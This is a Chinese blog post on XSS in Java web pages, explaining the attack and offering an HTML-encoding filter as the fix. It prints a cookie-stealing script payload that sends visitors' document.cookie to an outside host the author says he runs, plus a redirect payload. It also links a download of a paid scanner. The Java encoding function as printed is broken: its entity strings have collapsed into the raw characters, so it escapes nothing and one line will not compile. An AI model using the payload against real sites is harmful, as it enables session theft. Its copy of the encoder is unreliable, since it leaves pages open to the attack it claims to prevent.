Java xss攻击(跨站脚本攻击)

时间:2022-10-28 23:33:31

  发现问题

最近我们的服务器频繁的遭到黑客攻击,真是让人头疼啊,痛定思痛,仔细想想为什么我们会被攻击呢,肯定是我们的代码有漏洞啊,那么我们如何检测我们站点的漏洞呢,首先比较大众的就是通过360网站安全检测(http://webscan.360.cn/),但是发现这个太简单了,不够专业,那么我们再来一个专业的Acunetix Web Vulnerability Scanner,这个软件是收费的,但是我是一个穷人所以就不买了,请原谅。如果你也很穷请到这里下载试用,链接: http://pan.baidu.com/s/1qWr1maC 密码: bvon。
扫描后,发现站点存在的主要漏洞XSS CSS Cross SiteScript,XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。XSS攻击类似于SQL注入攻击。看来危害挺大,我们必须修补下了。那么如何修补呢,首先我们的知道他是如何攻击的:


<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
       <title>XSS测试</title>
    </head>
    <body>
       页面内容:<input type="text" name="age" value="">
    </body>
</html>
我们直接输入<script>window.open(“www.jwdstef.com?param=”+document.cookie)</script>,当用户查看这个页面的时候,就会请求www.jwdstef.com这个站点,这个站点是我自己搭建的专门用来收集用户cookie的,这样我就盗取了用户的cookie。

修补xss


我们知道如何攻击,就可以想办法修补了,我们首先要过滤特殊字符如:<>"",‘’ 空格等,这种方法我们叫他Html encode

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

比如用户输入:<script>window.location.href=”http://www.jwdstef.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.jwdstef.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

html encode实现方法比较简单,可以通过过滤器来实现,不论你项目使用的什么框架(servlet,struts2,springmvc)我们都可以通过filter来实现。

private static String htmlEncode(char c) {
    switch(c) {
       case '&':
           return"&";
       case '<':
           return"<";
       case '>':
           return">";
       case '"':
           return""";
       case ' ':
           return" ";
       default:
           return c +"";
    }
}
 
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
    if(str ==null || str.trim().equals(""))   return str;
    StringBuilder encodeStrBuilder = new StringBuilder();
    for (int i = 0, len = str.length(); i < len; i++) {
       encodeStrBuilder.append(htmlEncode(str.charAt(i)));
    }
    return encodeStrBuilder.toString();
}
这种方法不够优雅,为什么这么说呢,因为我们把他转了后,页面上还得用 fn:excapeXml("fff")转回来,麻烦,那我们来一个碉堡的方法,

特殊字符全部转为全角特殊字符(Java 全角半角转换)。。。。哈哈,这样前台也不用转了,这个方法仔细想想确实够优雅。。。。。


这样我们也以最少的工作量完成了漏洞的修补。。为了防止黑客再次利用其他方法攻击我们的站点,我们不得不请来了大师为我们的代码和服务器开光

Java xss攻击(跨站脚本攻击)

而且经过这次教训我们也强制要求代码的前面必须加上

// 
//                                  _oo8oo_
//                                 o8888888o
//                                 88" . "88
//                                 (| -_- |)
//                                 0\  =  /0
//                               ___/'==='\___
//                             .' \\|     |// '.
//                            / \\|||  :  |||// \
//                           / _||||| -:- |||||_ \
//                          |   | \\\  -  /// |   |
//                          | \_|  ''\---/''  |_/ |
//                          \  .-\__  '-'  __/-.  /
//                        ___'. .'  /--.--\  '. .'___
//                     ."" '<  '.___\_<|>_/___.'  >' "".
//                    | | :  `- \`.:`\ _ /`:.`/ -`  : | |
//                    \  \ `-.   \_ __\ /__ _/   .-` /  /
//                =====`-.____`.___ \_____/ ___.`____.-`=====
//                                  `=---=`
// 
// 
//               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
//                          佛祖保佑         永不宕机/永无bug

哈哈,后面的都是开玩笑的,大家别当真。